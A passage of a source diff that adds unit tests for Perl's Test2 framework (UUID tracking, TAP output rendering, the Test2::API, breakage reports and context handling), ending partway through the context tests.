diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/uuid.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/uuid.t
new file mode 100644
index 00000000000..c8fabf8eaac
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/behavior/uuid.t
@@ -0,0 +1,78 @@
+use Test2::Tools::Tiny;
+use Test2::API qw/test2_add_uuid_via context intercept/;
+
+my %CNT;
+test2_add_uuid_via(sub {
+ my $type = shift;
+ $CNT{$type} ||= 1;
+ $type . '-' . $CNT{$type}++;
+});
+
+my $events = intercept {
+ ok(1, "pass");
+
+ sub {
+ my $ctx = context();
+ ok(1, "pass");
+ ok(0, "fail");
+ $ctx->release;
+ }->();
+
+ tests foo => sub {
+ ok(1, "pass");
+ };
+
+ warnings {
+ require Test::More;
+ *subtest = \&Test::More::subtest;
+ };
+
+ subtest(foo => sub {
+ ok(1, "pass");
+ });
+};
+
+my $hub = Test2::API::test2_stack->top;
+is($hub->uuid, 'hub-1', "First hub got a uuid");
+
+is($events->[0]->uuid, 'event-1', "First event gets first uuid");
+is($events->[0]->trace->uuid, 'context-2', "First event has correct context");
+is($events->[0]->trace->huuid, 'hub-2', "First event has correct hub");
+
+is($events->[0]->facet_data->{about}->{uuid}, "event-1", "The UUID makes it to facet data");
+
+is($events->[1]->uuid, 'event-2', "Second event gets correct uuid");
+is($events->[1]->trace->uuid, 'context-3', "Second event has correct context");
+is($events->[1]->trace->huuid, 'hub-2', "Second event has correct hub");
+
+is($events->[2]->uuid, 'event-3', "Third event gets correct uuid");
+is($events->[2]->trace->uuid, $events->[1]->trace->uuid, "Third event shares context with event 2");
+is($events->[2]->trace->huuid, 'hub-2', "Third event has correct hub");
+
+is($events->[3]->uuid, 'event-6', "subtest event gets correct uuid (not next)");
+is($events->[3]->subtest_uuid, 'hub-3', "subtest event gets correct subtest-uuid (next hub uuid)");
+is($events->[3]->trace->uuid, 'context-4', "subtest gets next sequential context");
+is($events->[3]->trace->huuid, 'hub-2', "subtest event has correct hub");
+
+is($events->[3]->subevents->[0]->uuid, 'event-4', "First subevent gets next event uuid");
+is($events->[3]->subevents->[0]->trace->uuid, 'context-5', "First subevent has correct context");
+is($events->[3]->subevents->[0]->trace->huuid, 'hub-3', "First subevent has correct hub uuid (subtest hub uuid)");
+
+is($events->[3]->subevents->[1]->uuid, 'event-5', "Second subevent gets next event uuid");
+is($events->[3]->subevents->[1]->trace->uuid, $events->[3]->trace->uuid, "Second subevent has same context as subtest itself");
+is($events->[3]->subevents->[1]->trace->huuid, 'hub-3', "Second subevent has correct hub uuid (subtest hub uuid)");
+
+is($events->[5]->uuid, 'event-10', "subtest event gets correct uuid (not next)");
+is($events->[5]->subtest_uuid, 'hub-4', "subtest event gets correct subtest-uuid (next hub uuid)");
+is($events->[5]->trace->uuid, 'context-8', "subtest gets next sequential context");
+is($events->[5]->trace->huuid, 'hub-2', "subtest event has correct hub");
+
+is($events->[5]->subevents->[0]->uuid, 'event-8', "First subevent gets next event uuid");
+is($events->[5]->subevents->[0]->trace->uuid, 'context-10', "First subevent has correct context");
+is($events->[5]->subevents->[0]->trace->huuid, 'hub-4', "First subevent has correct hub uuid (subtest hub uuid)");
+
+is($events->[5]->subevents->[1]->uuid, 'event-9', "Second subevent gets next event uuid");
+is($events->[5]->subevents->[1]->trace->uuid, $events->[5]->trace->uuid, "Second subevent has same context as subtest itself");
+is($events->[5]->subevents->[1]->trace->huuid, 'hub-2', "Second subevent has correct hub uuid (subtest hub uuid)");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/legacy/TAP.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/legacy/TAP.t
new file mode 100644
index 00000000000..bff3134681c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/legacy/TAP.t
@@ -0,0 +1,149 @@
+use strict;
+use warnings;
+# HARNESS-NO-FORMATTER
+
+use Test2::Tools::Tiny;
+
+#########################
+#
+# This test us here to insure that Ok, Diag, and Note events render the way
+# Test::More renders them, trailing whitespace and all.
+#
+#########################
+
+use Test2::API qw/test2_stack context/;
+
+# The tools in Test2::Tools::Tiny have some intentional differences from the
+# Test::More versions, these behave more like Test::More which is important for
+# back-compat.
+sub tm_ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context;
+
+ my $ok = bless {
+ pass => $bool,
+ name => $name,
+ effective_pass => 1,
+ trace => $ctx->trace->snapshot,
+ }, 'Test2::Event::Ok';
+ # Do not call init
+
+ $ctx->hub->send($ok);
+
+ $ctx->release;
+ return $bool;
+}
+
+# Test::More actually does a bit more, but for this test we just want to see
+# what happens when message is a specific string, or undef.
+sub tm_diag {
+ my $ctx = context();
+ $ctx->diag(@_);
+ $ctx->release;
+}
+
+sub tm_note {
+ my $ctx = context();
+ $ctx->note(@_);
+ $ctx->release;
+}
+
+# Ensure the top hub is generated
+test2_stack->top;
+
+my $temp_hub = test2_stack->new_hub();
+require Test::Builder::Formatter;
+$temp_hub->format(Test::Builder::Formatter->new);
+
+my $diag = capture {
+ tm_diag(undef);
+ tm_diag("");
+ tm_diag(" ");
+ tm_diag("A");
+ tm_diag("\n");
+ tm_diag("\nB");
+ tm_diag("C\n");
+ tm_diag("\nD\n");
+ tm_diag("E\n\n");
+};
+
+my $note = capture {
+ tm_note(undef);
+ tm_note("");
+ tm_note(" ");
+ tm_note("A");
+ tm_note("\n");
+ tm_note("\nB");
+ tm_note("C\n");
+ tm_note("\nD\n");
+ tm_note("E\n\n");
+};
+
+my $ok = capture {
+ tm_ok(1);
+ tm_ok(1, "");
+ tm_ok(1, " ");
+ tm_ok(1, "A");
+ tm_ok(1, "\n");
+ tm_ok(1, "\nB");
+ tm_ok(1, "C\n");
+ tm_ok(1, "\nD\n");
+ tm_ok(1, "E\n\n");
+};
+test2_stack->pop($temp_hub);
+
+is($diag->{STDOUT}, "", "STDOUT is empty for diag");
+is($diag->{STDERR}, <<EOT, "STDERR for diag looks right");
+# undef
+#_
+# _
+# A
+#_
+#_
+# B
+# C
+#_
+# D
+# E
+#_
+EOT
+
+
+is($note->{STDERR}, "", "STDERR for note is empty");
+is($note->{STDOUT}, <<EOT, "STDOUT looks right for note");
+# undef
+#_
+# _
+# A
+#_
+#_
+# B
+# C
+#_
+# D
+# E
+#_
+EOT
+
+
+is($ok->{STDERR}, "", "STDERR for ok is empty");
+is($ok->{STDOUT}, <<EOT, "STDOUT looks right for ok");
+ok 1
+ok 2 -_
+ok 3 - _
+ok 4 - A
+ok 5 -_
+#_
+ok 6 -_
+# B
+ok 7 - C
+#_
+ok 8 -_
+# D
+#_
+ok 9 - E
+#_
+#_
+EOT
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API.t
new file mode 100644
index 00000000000..a804cac4753
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API.t
@@ -0,0 +1,289 @@
+use strict;
+use warnings;
+
+use Test2::API qw/context/;
+
+my ($LOADED, $INIT);
+BEGIN {
+ $INIT = Test2::API::test2_init_done;
+ $LOADED = Test2::API::test2_load_done;
+};
+
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::Util qw/get_tid/;
+my $CLASS = 'Test2::API';
+
+# Ensure we do not break backcompat later by removing anything
+ok(Test2::API->can($_), "$_ method is present") for qw{
+ context_do
+ no_context
+
+ test2_init_done
+ test2_load_done
+
+ test2_pid
+ test2_tid
+ test2_stack
+ test2_no_wait
+
+ test2_add_callback_context_init
+ test2_add_callback_context_release
+ test2_add_callback_exit
+ test2_add_callback_post_load
+ test2_list_context_init_callbacks
+ test2_list_context_release_callbacks
+ test2_list_exit_callbacks
+ test2_list_post_load_callbacks
+
+ test2_ipc
+ test2_ipc_disable
+ test2_ipc_disabled
+ test2_ipc_drivers
+ test2_ipc_add_driver
+ test2_ipc_polling
+ test2_ipc_disable_polling
+ test2_ipc_enable_polling
+
+ test2_formatter
+ test2_formatters
+ test2_formatter_add
+ test2_formatter_set
+};
+
+ok(!$LOADED, "Was not load_done right away");
+ok(!$INIT, "Init was not done right away");
+ok(Test2::API::test2_load_done, "We loaded it");
+
+# Note: This is a check that stuff happens in an END block.
+{
+ {
+ package FOLLOW;
+
+ sub DESTROY {
+ return if $_[0]->{fixed};
+ print "not ok - Did not run end ($_[0]->{name})!";
+ $? = 255;
+ exit 255;
+ }
+ }
+
+ our $kill1 = bless {fixed => 0, name => "Custom Hook"}, 'FOLLOW';
+ Test2::API::test2_add_callback_exit(
+ sub {
+ print "# Running END hook\n";
+ $kill1->{fixed} = 1;
+ }
+ );
+
+ our $kill2 = bless {fixed => 0, name => "set exit"}, 'FOLLOW';
+ my $old = Test2::API::Instance->can('set_exit');
+ no warnings 'redefine';
+ *Test2::API::Instance::set_exit = sub {
+ $kill2->{fixed} = 1;
+ print "# Running set_exit\n";
+ $old->(@_);
+ };
+}
+
+ok($CLASS->can('test2_init_done')->(), "init is done.");
+ok($CLASS->can('test2_load_done')->(), "Test2 is finished loading");
+
+is($CLASS->can('test2_pid')->(), $$, "got pid");
+is($CLASS->can('test2_tid')->(), get_tid(), "got tid");
+
+ok($CLASS->can('test2_stack')->(), 'got stack');
+is($CLASS->can('test2_stack')->(), $CLASS->can('test2_stack')->(), "always get the same stack");
+
+ok($CLASS->can('test2_ipc')->(), 'got ipc');
+is($CLASS->can('test2_ipc')->(), $CLASS->can('test2_ipc')->(), "always get the same IPC");
+
+is_deeply([$CLASS->can('test2_ipc_drivers')->()], [qw/Test2::IPC::Driver::Files/], "Got driver list");
+
+# Verify it reports to the correct file/line, there was some trouble with this...
+my $file = __FILE__;
+my $line = __LINE__ + 1;
+my $warnings = warnings { $CLASS->can('test2_ipc_add_driver')->('fake') };
+my $sub1 = sub {
+like(
+ $warnings->[0],
+ qr{^IPC driver fake loaded too late to be used as the global ipc driver at \Q$file\E line $line},
+ "got warning about adding driver too late"
+);
+};
+if ($] le "5.006002") {
+ todo("TODO known to fail on $]", $sub1);
+} else {
+ $sub1->();
+}
+
+is_deeply([$CLASS->can('test2_ipc_drivers')->()], [qw/fake Test2::IPC::Driver::Files/], "Got updated list");
+
+ok($CLASS->can('test2_ipc_polling')->(), "Polling is on");
+$CLASS->can('test2_ipc_disable_polling')->();
+ok(!$CLASS->can('test2_ipc_polling')->(), "Polling is off");
+$CLASS->can('test2_ipc_enable_polling')->();
+ok($CLASS->can('test2_ipc_polling')->(), "Polling is on");
+
+ok($CLASS->can('test2_formatter')->(), "Got a formatter");
+is($CLASS->can('test2_formatter')->(), $CLASS->can('test2_formatter')->(), "always get the same Formatter (class name)");
+
+my $ran = 0;
+$CLASS->can('test2_add_callback_post_load')->(sub { $ran++ });
+is($ran, 1, "ran the post-load");
+
+like(
+ exception { $CLASS->can('test2_formatter_set')->() },
+ qr/No formatter specified/,
+ "formatter_set requires an argument"
+);
+
+like(
+ exception { $CLASS->can('test2_formatter_set')->('fake') },
+ qr/Global Formatter already set/,
+ "formatter_set doesn't work after initialization",
+);
+
+ok(!$CLASS->can('test2_no_wait')->(), "no_wait is not set");
+$CLASS->can('test2_no_wait')->(1);
+ok($CLASS->can('test2_no_wait')->(), "no_wait is set");
+$CLASS->can('test2_no_wait')->(undef);
+ok(!$CLASS->can('test2_no_wait')->(), "no_wait is not set");
+
+ok($CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting enabled");
+$CLASS->can('test2_ipc_wait_disable')->();
+ok(!$CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting disabled");
+$CLASS->can('test2_ipc_wait_enable')->();
+ok($CLASS->can('test2_ipc_wait_enabled')->(), "IPC waiting enabled");
+
+my $pctx;
+sub tool_a($;$) {
+ Test2::API::context_do {
+ my $ctx = shift;
+ my ($bool, $name) = @_;
+ $pctx = wantarray;
+ die "xyz" unless $bool;
+ $ctx->ok($bool, $name);
+ return unless defined $pctx;
+ return (1, 2) if $pctx;
+ return 'a';
+ } @_;
+}
+
+$pctx = 'x';
+tool_a(1, "void context test");
+ok(!defined($pctx), "void context");
+
+my $x = tool_a(1, "scalar context test");
+ok(defined($pctx) && $pctx == 0, "scalar context");
+is($x, 'a', "got scalar return");
+
+my @x = tool_a(1, "array context test");
+ok($pctx, "array context");
+is_deeply(\@x, [1, 2], "Got array return");
+
+like(
+ exception { tool_a(0) },
+ qr/^xyz/,
+ "got exception"
+);
+
+sub {
+ my $outer = context();
+ sub {
+ my $middle = context();
+ is($outer->trace, $middle->trace, "got the same context before calling no_context");
+
+ Test2::API::no_context {
+ my $inner = context();
+ ok($inner->trace != $outer->trace, "Got a different context inside of no_context()");
+ $inner->release;
+ };
+
+ $middle->release;
+ }->();
+
+ $outer->release;
+}->();
+
+sub {
+ my $outer = context();
+ sub {
+ my $middle = context();
+ is($outer->trace, $middle->trace, "got the same context before calling no_context");
+
+ Test2::API::no_context {
+ my $inner = context();
+ ok($inner->trace != $outer->trace, "Got a different context inside of no_context({}, hid)");
+ $inner->release;
+ } $outer->hub->hid;
+
+ $middle->release;
+ }->();
+
+ $outer->release;
+}->();
+
+sub {
+ my @warnings;
+ my $outer = context();
+ sub {
+ my $middle = context();
+ is($outer->trace, $middle->trace, "got the same context before calling no_context");
+
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ Test2::API::no_context {
+ my $inner = context();
+ ok($inner->trace != $outer->trace, "Got a different context inside of no_context({}, hid)");
+ } $outer->hub->hid;
+
+ $middle->release;
+ }->();
+
+ $outer->release;
+
+ is(@warnings, 1, "1 warning");
+ like(
+ $warnings[0],
+ qr/A context appears to have been destroyed without first calling release/,
+ "Got warning about unreleased context"
+ );
+}->();
+
+
+sub {
+ my $hub = Test2::Hub->new();
+ my $ctx = context(hub => $hub);
+ is($ctx->hub,$hub, 'got the hub of context() argument');
+ $ctx->release;
+}->();
+
+
+my $sub = sub { };
+
+Test2::API::test2_add_callback_context_acquire($sub);
+Test2::API::test2_add_callback_context_init($sub);
+Test2::API::test2_add_callback_context_release($sub);
+Test2::API::test2_add_callback_exit($sub);
+Test2::API::test2_add_callback_post_load($sub);
+
+is((grep { $_ == $sub } Test2::API::test2_list_context_acquire_callbacks()), 1, "got the one instance of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_context_init_callbacks()), 1, "got the one instance of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_context_release_callbacks()), 1, "got the one instance of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_exit_callbacks()), 1, "got the one instance of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_post_load_callbacks()), 1, "got the one instance of the hook");
+
+Test2::API::test2_add_callback_context_acquire($sub);
+Test2::API::test2_add_callback_context_init($sub);
+Test2::API::test2_add_callback_context_release($sub);
+Test2::API::test2_add_callback_exit($sub);
+Test2::API::test2_add_callback_post_load($sub);
+
+is((grep { $_ == $sub } Test2::API::test2_list_context_acquire_callbacks()), 2, "got the two instances of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_context_init_callbacks()), 2, "got the two instances of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_context_release_callbacks()), 2, "got the two instances of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_exit_callbacks()), 2, "got the two instances of the hook");
+is((grep { $_ == $sub } Test2::API::test2_list_post_load_callbacks()), 2, "got the two instances of the hook");
+
+done_testing;
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Breakage.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Breakage.t
new file mode 100644
index 00000000000..e2932469f38
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Breakage.t
@@ -0,0 +1,89 @@
+use strict;
+use warnings;
+
+use Test2::IPC;
+use Test2::Tools::Tiny;
+use Test2::API::Breakage;
+my $CLASS = 'Test2::API::Breakage';
+
+for my $meth (qw/upgrade_suggested upgrade_required known_broken/) {
+ my @list = $CLASS->$meth;
+ ok(!(@list % 2), "Got even list ($meth)");
+ ok(!(grep {!defined($_)} @list), "No undefined items ($meth)");
+}
+
+{
+ no warnings 'redefine';
+ local *Test2::API::Breakage::upgrade_suggested = sub {
+ return ('T2Test::UG1' => '1.0', 'T2Test::UG2' => '0.5');
+ };
+
+ local *Test2::API::Breakage::upgrade_required = sub {
+ return ('T2Test::UR1' => '1.0', 'T2Test::UR2' => '0.5');
+ };
+
+ local *Test2::API::Breakage::known_broken = sub {
+ return ('T2Test::KB1' => '1.0', 'T2Test::KB2' => '0.5');
+ };
+ use warnings 'redefine';
+
+ ok(!$CLASS->report, "Nothing to report");
+ ok(!$CLASS->report(1), "Still nothing to report");
+
+ {
+ local %INC = (
+ %INC,
+ 'T2Test/UG1.pm' => 1,
+ 'T2Test/UG2.pm' => 1,
+ 'T2Test/UR1.pm' => 1,
+ 'T2Test/UR2.pm' => 1,
+ 'T2Test/KB1.pm' => 1,
+ 'T2Test/KB2.pm' => 1,
+ );
+ local $T2Test::UG1::VERSION = '0.9';
+ local $T2Test::UG2::VERSION = '0.9';
+ local $T2Test::UR1::VERSION = '0.9';
+ local $T2Test::UR2::VERSION = '0.9';
+ local $T2Test::KB1::VERSION = '0.9';
+ local $T2Test::KB2::VERSION = '0.9';
+
+ my @report = $CLASS->report;
+
+ is_deeply(
+ [sort @report],
+ [
+ sort
+ " * Module 'T2Test::UG1' is outdated, we recommed updating above 1.0.",
+ " * Module 'T2Test::UR1' is outdated and known to be broken, please update to 1.0 or higher.",
+ " * Module 'T2Test::KB1' is known to be broken in version 1.0 and below, newer versions have not been tested. You have: 0.9",
+ " * Module 'T2Test::KB2' is known to be broken in version 0.5 and below, newer versions have not been tested. You have: 0.9",
+ ],
+ "Got expected report items"
+ );
+ }
+
+ my %look;
+ unshift @INC => sub {
+ my ($this, $file) = @_;
+ $look{$file}++ if $file =~ m{T2Test};
+ return;
+ };
+ ok(!$CLASS->report, "Nothing to report");
+ is_deeply(\%look, {}, "Did not try to load anything");
+
+ ok(!$CLASS->report(1), "Nothing to report");
+ is_deeply(
+ \%look,
+ {
+ 'T2Test/UG1.pm' => 1,
+ 'T2Test/UG2.pm' => 1,
+ 'T2Test/UR1.pm' => 1,
+ 'T2Test/UR2.pm' => 1,
+ 'T2Test/KB1.pm' => 1,
+ 'T2Test/KB2.pm' => 1,
+ },
+ "Tried to load modules"
+ );
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Context.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Context.t
new file mode 100644
index 00000000000..abb86b64a9f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/API/Context.t
@@ -0,0 +1,450 @@
+use strict;
+use warnings;
+
+BEGIN { $Test2::API::DO_DEPTH_CHECK = 1 }
+use Test2::Tools::Tiny;
+
+use Test2::API qw{
+ context intercept
+ test2_stack
+ test2_add_callback_context_acquire
+ test2_add_callback_context_init
+ test2_add_callback_context_release
+};
+
+my $error = exception { context(); 1 };
+my $exception = "context() called, but return value is ignored at " . __FILE__ . ' line ' . (__LINE__ - 1);
+like($error, qr/^\Q$exception\E/, "Got the exception" );
+
+my $ref;
+my $frame;
+sub wrap(&) {
+ my $ctx = context();
+ my ($pkg, $file, $line, $sub) = caller(0);
+ $frame = [$pkg, $file, $line, $sub];
+
+ $_[0]->($ctx);
+
+ $ref = "$ctx";
+
+ $ctx->release;
+}
+
+wrap {
+ my $ctx = shift;
+ ok($ctx->hub, "got hub");
+ delete $ctx->trace->frame->[4];
+ is_deeply($ctx->trace->frame, $frame, "Found place to report errors");
+};
+
+wrap {
+ my $ctx = shift;
+ ok("$ctx" ne "$ref", "Got a new context");
+ my $new = context();
+ my @caller = caller(0);
+ is_deeply(
+ $new,
+ {%$ctx, _is_canon => undef, _is_spawn => [@caller[0,1,2,3]]},
+ "Additional call to context gets spawn"
+ );
+ delete $ctx->trace->frame->[4];
+ is_deeply($ctx->trace->frame, $frame, "Found place to report errors");
+ $new->release;
+};
+
+wrap {
+ my $ctx = shift;
+ my $snap = $ctx->snapshot;
+
+ is_deeply(
+ $snap,
+ {%$ctx, _is_canon => undef, _is_spawn => undef, _aborted => undef},
+ "snapshot is identical except for canon/spawn/aborted"
+ );
+ ok($ctx != $snap, "snapshot is a new instance");
+};
+
+my $end_ctx;
+{ # Simulate an END block...
+ local *END = sub { local *__ANON__ = 'END'; context() };
+ my $ctx = END();
+ $frame = [ __PACKAGE__, __FILE__, __LINE__ - 1, 'main::END' ];
+ # "__LINE__ - 1" on the preceding line forces the value to be an IV
+ # (even though __LINE__ on its own is a PV), just as (caller)[2] is.
+ $end_ctx = $ctx->snapshot;
+ $ctx->release;
+}
+delete $end_ctx->trace->frame->[4];
+is_deeply( $end_ctx->trace->frame, $frame, 'context is ok in an end block');
+
+# Test event generation
+{
+ package My::Formatter;
+
+ sub write {
+ my $self = shift;
+ my ($e) = @_;
+ push @$self => $e;
+ }
+}
+my $events = bless [], 'My::Formatter';
+my $hub = Test2::Hub->new(
+ formatter => $events,
+);
+my $trace = Test2::EventFacet::Trace->new(
+ frame => [ 'Foo::Bar', 'foo_bar.t', 42, 'Foo::Bar::baz' ],
+);
+my $ctx = Test2::API::Context->new(
+ trace => $trace,
+ hub => $hub,
+);
+
+my $e = $ctx->build_event('Ok', pass => 1, name => 'foo');
+is($e->pass, 1, "Pass");
+is($e->name, 'foo', "got name");
+is_deeply($e->trace, $trace, "Got the trace info");
+ok(!@$events, "No events yet");
+
+$e = $ctx->send_event('Ok', pass => 1, name => 'foo');
+is($e->pass, 1, "Pass");
+is($e->name, 'foo', "got name");
+is_deeply($e->trace, $trace, "Got the trace info");
+is(@$events, 1, "1 event");
+is_deeply($events, [$e], "Hub saw the event");
+pop @$events;
+
+$e = $ctx->ok(1, 'foo');
+is($e->pass, 1, "Pass");
+is($e->name, 'foo', "got name");
+is_deeply($e->trace, $trace, "Got the trace info");
+is(@$events, 1, "1 event");
+is_deeply($events, [$e], "Hub saw the event");
+pop @$events;
+
+$e = $ctx->note('foo');
+is($e->message, 'foo', "got message");
+is_deeply($e->trace, $trace, "Got the trace info");
+is(@$events, 1, "1 event");
+is_deeply($events, [$e], "Hub saw the event");
+pop @$events;
+
+$e = $ctx->diag('foo');
+is($e->message, 'foo', "got message");
+is_deeply($e->trace, $trace, "Got the trace info");
+is(@$events, 1, "1 event");
+is_deeply($events, [$e], "Hub saw the event");
+pop @$events;
+
+$e = $ctx->plan(100);
+is($e->max, 100, "got max");
+is_deeply($e->trace, $trace, "Got the trace info");
+is(@$events, 1, "1 event");
+is_deeply($events, [$e], "Hub saw the event");
+pop @$events;
+
+$e = $ctx->skip('foo', 'because');
+is($e->name, 'foo', "got name");
+is($e->reason, 'because', "got reason");
+ok($e->pass, "skip events pass by default");
+is_deeply($e->trace, $trace, "Got the trace info");
+is(@$events, 1, "1 event");
+is_deeply($events, [$e], "Hub saw the event");
+pop @$events;
+
+$e = $ctx->skip('foo', 'because', pass => 0);
+ok(!$e->pass, "can override skip params");
+pop @$events;
+
+# Test hooks
+
+my @hooks;
+$hub = test2_stack()->top;
+my $ref1 = $hub->add_context_init(sub { die "Bad Arg" unless ref($_[0]) eq 'Test2::API::Context'; push @hooks => 'hub_init' });
+my $ref2 = $hub->add_context_release(sub { die "Bad Arg" unless ref($_[0]) eq 'Test2::API::Context'; push @hooks => 'hub_release' });
+test2_add_callback_context_init(sub { die "Bad Arg" unless ref($_[0]) eq 'Test2::API::Context'; push @hooks => 'global_init' });
+test2_add_callback_context_release(sub { die "Bad Arg" unless ref($_[0]) eq 'Test2::API::Context'; push @hooks => 'global_release' });
+
+my $ref3 = $hub->add_context_acquire(sub { die "Bad Arg" unless ref($_[0]) eq 'HASH'; push @hooks => 'hub_acquire' });
+test2_add_callback_context_acquire(sub { die "Bad Arg" unless ref($_[0]) eq 'HASH'; push @hooks => 'global_acquire' });
+
+sub {
+ push @hooks => 'start';
+ my $ctx = context(on_init => sub { push @hooks => 'ctx_init' }, on_release => sub { push @hooks => 'ctx_release' });
+ push @hooks => 'deep';
+ my $ctx2 = sub {
+ context(on_init => sub { push @hooks => 'ctx_init_deep' }, on_release => sub { push @hooks => 'ctx_release_deep' });
+ }->();
+ push @hooks => 'release_deep';
+ $ctx2->release;
+ push @hooks => 'release_parent';
+ $ctx->release;
+ push @hooks => 'released_all';
+
+ push @hooks => 'new';
+ $ctx = context(on_init => sub { push @hooks => 'ctx_init2' }, on_release => sub { push @hooks => 'ctx_release2' });
+ push @hooks => 'release_new';
+ $ctx->release;
+ push @hooks => 'done';
+}->();
+
+$hub->remove_context_init($ref1);
+$hub->remove_context_release($ref2);
+$hub->remove_context_acquire($ref3);
+@{Test2::API::_context_init_callbacks_ref()} = ();
+@{Test2::API::_context_release_callbacks_ref()} = ();
+@{Test2::API::_context_acquire_callbacks_ref()} = ();
+
+is_deeply(
+ \@hooks,
+ [qw{
+ start
+ global_acquire
+ hub_acquire
+ global_init
+ hub_init
+ ctx_init
+ deep
+ global_acquire
+ hub_acquire
+ release_deep
+ release_parent
+ ctx_release_deep
+ ctx_release
+ hub_release
+ global_release
+ released_all
+ new
+ global_acquire
+ hub_acquire
+ global_init
+ hub_init
+ ctx_init2
+ release_new
+ ctx_release2
+ hub_release
+ global_release
+ done
+ }],
+ "Got all hook in correct order"
+);
+
+{
+ my $ctx = context(level => -1);
+
+ my $one = Test2::API::Context->new(
+ trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'blah']),
+ hub => test2_stack()->top,
+ );
+ is($one->_depth, 0, "default depth");
+
+ my $ran = 0;
+ my $doit = sub {
+ is_deeply(\@_, [qw/foo bar/], "got args");
+ $ran++;
+ die "Make sure old context is restored";
+ };
+
+ eval { $one->do_in_context($doit, 'foo', 'bar') };
+
+ my $spawn = context(level => -1, wrapped => -2);
+ is($spawn->trace, $ctx->trace, "Old context restored");
+ $spawn->release;
+ $ctx->release;
+
+ ok(!exception { $one->do_in_context(sub {1}) }, "do_in_context works without an original")
+}
+
+{
+ like(exception { Test2::API::Context->new() }, qr/The 'trace' attribute is required/, "need to have trace");
+
+ my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']);
+ like(exception { Test2::API::Context->new(trace => $trace) }, qr/The 'hub' attribute is required/, "need to have hub");
+
+ my $hub = test2_stack()->top;
+ my $ctx = Test2::API::Context->new(trace => $trace, hub => $hub);
+ is($ctx->{_depth}, 0, "depth set to 0 when not defined.");
+
+ $ctx = Test2::API::Context->new(trace => $trace, hub => $hub, _depth => 1);
+ is($ctx->{_depth}, 1, "Do not reset depth");
+
+ like(
+ exception { $ctx->release },
+ qr/release\(\) should not be called on context that is neither canon nor a child/,
+ "Non canonical context, do not release"
+ );
+}
+
+sub {
+ like(
+ exception { my $ctx = context(level => 20) },
+ qr/Could not find context at depth 21/,
+ "Level sanity"
+ );
+
+ ok(
+ !exception {
+ my $ctx = context(level => 20, fudge => 1);
+ $ctx->release;
+ },
+ "Was able to get context when fudging level"
+ );
+}->();
+
+sub {
+ my ($ctx1, $ctx2);
+ sub { $ctx1 = context() }->();
+
+ my @warnings;
+ {
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ $ctx2 = context();
+ $ctx1 = undef;
+ }
+
+ $ctx2->release;
+
+ is(@warnings, 1, "1 warning");
+ like(
+ $warnings[0],
+ qr/^context\(\) was called to retrieve an existing context, however the existing/,
+ "Got expected warning"
+ );
+}->();
+
+sub {
+ my $ctx = context();
+ my $e = exception { $ctx->throw('xxx') };
+ like($e, qr/xxx/, "got exception");
+
+ $ctx = context();
+ my $warnings = warnings { $ctx->alert('xxx') };
+ like($warnings->[0], qr/xxx/, "got warning");
+ $ctx->release;
+}->();
+
+sub {
+ my $ctx = context;
+
+ is($ctx->_parse_event('Ok'), 'Test2::Event::Ok', "Got the Ok event class");
+ is($ctx->_parse_event('+Test2::Event::Ok'), 'Test2::Event::Ok', "Got the +Ok event class");
+
+ like(
+ exception { $ctx->_parse_event('+DFASGFSDFGSDGSD') },
+ qr/Could not load event module 'DFASGFSDFGSDGSD': Can't locate DFASGFSDFGSDGSD\.pm/,
+ "Bad event type"
+ );
+}->();
+
+{
+ my ($e1, $e2);
+ my $events = intercept {
+ my $ctx = context();
+ $e1 = $ctx->ok(0, 'foo', ['xxx']);
+ $e2 = $ctx->ok(0, 'foo');
+ $ctx->release;
+ };
+
+ ok($e1->isa('Test2::Event::Ok'), "returned ok event");
+ ok($e2->isa('Test2::Event::Ok'), "returned ok event");
+
+ is($events->[0], $e1, "got ok event 1");
+ is($events->[3], $e2, "got ok event 2");
+
+ is($events->[2]->message, 'xxx', "event 1 diag 2");
+ ok($events->[2]->isa('Test2::Event::Diag'), "event 1 diag 2 is diag");
+
+ is($events->[3], $e2, "got ok event 2");
+}
+
+sub {
+ local $! = 100;
+ local $@ = 'foobarbaz';
+ local $? = 123;
+
+ my $ctx = context();
+
+ is($ctx->errno, 100, "saved errno");
+ is($ctx->eval_error, 'foobarbaz', "saved eval error");
+ is($ctx->child_error, 123, "saved child exit");
+
+ $! = 22;
+ $@ = 'xyz';
+ $? = 33;
+
+ is(0 + $!, 22, "altered \$! in tool");
+ is($@, 'xyz', "altered \$@ in tool");
+ is($?, 33, "altered \$? in tool");
+
+ sub {
+ my $ctx2 = context();
+
+ $! = 42;
+ $@ = 'app';
+ $? = 43;
+
+ is(0 + $!, 42, "altered \$! in tool (nested)");
